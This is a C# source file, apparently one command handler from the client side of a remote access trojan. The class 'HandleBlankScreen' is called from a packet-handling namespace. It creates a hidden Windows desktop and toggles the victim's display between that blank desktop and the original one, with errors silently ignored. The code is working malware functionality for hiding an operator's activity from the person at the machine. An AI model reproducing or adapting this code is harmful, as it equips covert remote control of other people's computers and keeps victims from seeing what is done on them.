75 lines
2.9 KiB
C#
75 lines
2.9 KiB
C#
using System;
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using System.Collections.Generic;
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using System.Linq;
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using System.Runtime.InteropServices;
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using System.Text;
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namespace Client.Handle_Packet
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{
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public static class HandleBlankScreen
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{
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[DllImport("user32.dll")]
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public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
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[DllImport("user32.dll")]
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private static extern bool SwitchDesktop(IntPtr hDesktop);
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[DllImport("user32.dll")]
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public static extern bool CloseDesktop(IntPtr handle);
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[DllImport("user32.dll")]
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public static extern bool SetThreadDesktop(IntPtr hDesktop);
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[DllImport("user32.dll")]
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public static extern IntPtr GetThreadDesktop(int dwThreadId);
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[DllImport("kernel32.dll")]
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public static extern int GetCurrentThreadId();
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enum DESKTOP_ACCESS : uint
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{
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DESKTOP_NONE = 0,
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DESKTOP_READOBJECTS = 0x0001,
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DESKTOP_CREATEWINDOW = 0x0002,
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DESKTOP_CREATEMENU = 0x0004,
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DESKTOP_HOOKCONTROL = 0x0008,
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DESKTOP_JOURNALRECORD = 0x0010,
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DESKTOP_JOURNALPLAYBACK = 0x0020,
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DESKTOP_ENUMERATE = 0x0040,
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DESKTOP_WRITEOBJECTS = 0x0080,
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DESKTOP_SWITCHDESKTOP = 0x0100,
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GENERIC_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU |
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DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
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DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP),
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}
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// old desktop's handle, obtained by getting the current desktop assigned for this thread
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static readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
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// new desktop's handle, assigned automatically by CreateDesktop
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static IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
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public static bool switcher = false; //the screen is not blanked be default so this should be false
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public static void RunBlankScreen()
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{
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try
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{
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//light switch logic CopyPasta by MrDevBot
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if (switcher == false) //The current screen is NOT blanked and needs to be
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{
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SwitchDesktop(hNewDesktop);
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switcher = true; //sets the switch to on for next click
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return; //returns to calling function
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}
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else //the screen is blanked and should be switched back to old
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{
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SwitchDesktop(hOldDesktop);
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switcher = false; //sets the switch to off for next click
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return; //returns to calling function
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}
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}
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catch { }
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}
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}
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}
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